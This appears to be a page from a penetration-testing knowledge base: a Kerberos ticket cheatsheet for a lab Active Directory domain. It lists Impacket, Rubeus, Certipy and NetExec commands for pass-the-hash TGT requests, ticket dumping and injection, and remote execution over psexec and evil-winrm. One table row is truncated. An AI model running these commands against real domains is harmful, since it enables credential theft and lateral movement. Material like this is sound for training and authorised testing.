Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter IV - Active Directory / 03. Kerberos / Tickets

Cheatsheet

Variables:

export DC=10.10.10.200
export DOMAIN=ootw.local
export REALM=OOTW.LOCAL
export USER=student

Conversion matrix:

GoalToolCommand
.kirbi to ccacheImpacketticketConverter.py ticket.kirbi ticket.ccache
ccache to .kirbiImpacketticketConverter.py ticket.ccache ticket.kirbi
.kirbi to ccacheminikerberosminikerberos-kirbi2ccache ticket.kirbi ticket.ccache
base64 to .kirbiLinux`cat ticket.b64
base64 to .kirbiPowerShell[IO.File]::WriteAllBytes('ticket.kirbi', [Convert]::FromBase64String($ticket))
password to ccacheImpacketgetTGT.py $DOMAIN/$USER:'Password123!' -dc-ip $DC
NTLM to ccacheImpacketgetTGT.py -hashes :NTLM $DOMAIN/$USER -dc-ip $DC
AES to ccacheImpacketgetTGT.py -aesKey AESKEY $DOMAIN/$USER -dc-ip $DC
PFX to ccachePKINITtoolsgettgtpkinit.py -cert-pfx user.pfx -pfx-pass PFXPASS $DOMAIN/$USER user.ccache
PFX to ccacheCertipycertipy auth -pfx user.pfx -password PFXPASS -domain $DOMAIN -dc-ip $DC
keytab to TGTMIT Kerberoskinit -k -t user.keytab user@$REALM
use ccacheMIT Kerberosexport KRB5CCNAME=FILE:$(pwd)/ticket.ccache; klist
inject .kirbiRubeusRubeus.exe ptt /ticket:ticket.kirbi
describe .kirbiRubeusRubeus.exe describe /ticket:ticket.kirbi
dump ticketsRubeusRubeus.exe dump /export
purge ticketsRubeusRubeus.exe purge

Usage matrix:

TargetCommand
List Linux cacheklist -e
Destroy Linux cachekdestroy; unset KRB5CCNAME
LDAP with cacheldapsearch -Y GSSAPI -H ldap://dc01.ootw.local -b 'DC=ootw,DC=local' '(objectClass=domain)'
SMB with cachesmbclient -k //dc01.ootw.local/C$
Impacket executionpsexec.py -k -no-pass $DOMAIN/$USER@target.ootw.local -dc-ip $DC
NetExec SMB validationnxc smb $DC -d $DOMAIN -u $USER -k --use-kcache
NetExec LDAP validationnxc ldap $DC -d $DOMAIN -u $USER -k --use-kcache
evil-winrm Kerberosevil-winrm -i dc01.ootw.local -r $REALM -k
Windows ticket listklist
Windows purgeklist purge

Troubleshooting matrix:

SymptomCheck
Ticket exists but access failsConfirm SPN with klist -e
No credentials cache foundCheck KRB5CCNAME path
KRB_AP_ERR_TKT_EXPIREDTicket expired; request or renew
KRB_AP_ERR_SKEWFix clock skew
KRB_AP_ERR_MODIFIEDWrong service key or SPN
Server not found in Kerberos databaseDNS, hostname, SPN, or realm mismatch
Windows injection failsConfirm .kirbi is decoded binary, not text
Linux conversion failsTry current Impacket ticketConverter.py